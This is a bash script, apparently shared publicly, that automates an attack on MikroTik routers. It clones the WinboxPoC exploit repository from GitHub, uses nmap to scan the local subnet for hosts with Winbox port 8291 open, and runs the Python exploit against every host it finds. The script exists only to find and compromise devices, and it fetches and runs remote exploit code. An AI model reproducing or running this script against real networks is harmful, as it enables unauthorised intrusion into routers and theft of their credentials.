#!/bin/bash
# AutoScan Port [Nmap] + Exploit WinboxPoc
# WinboxPOC : https://github.com/BasuCert/WinboxPoC
# My Github : https://github.com/suhada99
# Coded by sUHada - ZeroByte.ID 

echo "__        ___       ____            ____   ___   ____   "
echo "\ \      / (_)_ __ | __ )  _____  _|  _ \ / _ \ / ___|  "
echo " \ \ /\ / /| | '_ \|  _ \ / _ \ \/ / |_) | | | | |      "
echo "  \ V  V / | | | | | |_) | (_) >  <|  __/| |_| | |___   "
echo "   \_/\_/  |_|_| |_|____/ \___/_/\_\_|    \___/ \____|  "
echo "														"                                                      

mask2cidr() {
    nbits=0
    IFS=.
    for dec in $1 ; do
        case $dec in
            255) let nbits+=8;;
            254) let nbits+=7;;
            252) let nbits+=6;;
            248) let nbits+=5;;
            240) let nbits+=4;;
            224) let nbits+=3;;
            192) let nbits+=2;;
            128) let nbits+=1;;
            0);;
            *) echo "Error: $dec is not recognised"; exit 1
        esac
    done
    echo "$nbits"
}

echo " Starting [!]";
echo -ne " Clone Exploit WinboxPoC . . . ";
rm -rf WinboxPoC/
git clone -q https://github.com/BasuCert/WinboxPoC.git
echo " Done [!]";
echo " Starting Exploit (Network Local) [!]";
echo -ne " GET YOUR IP . . . ";
gEtiP=$(hostname -I | awk '{print $1}');
echo "FOUND [!]"
echo " Your IP ${gEtiP} [!]";
gEtNet=$(echo ${gEtiP} | cut -d '.' -f 1-3);
echo " Scanning Port 8291 [WinBox] in network with Nmap";
netmask=$(ifconfig | grep "${gEtiP}" | grep Mask | cut -d":" -f4)
numbits=$(mask2cidr $netmask)
cEkwBox=$(nmap -p 8291 -oG - "${gEtNet}".0/"${numbits}" | awk '/8291\/open/ {print $2}');
if [[ -z $cEkwBox ]]; then
	echo " Port 8291 Can't Found!";
else
	echo " Found IP ${cEkwBox} Port 8291";
	echo " Try it Exploit WinboxPoC . . .";
	cd WinboxPoC/ && python WinboxExploit.py ${cEkwBox}
fi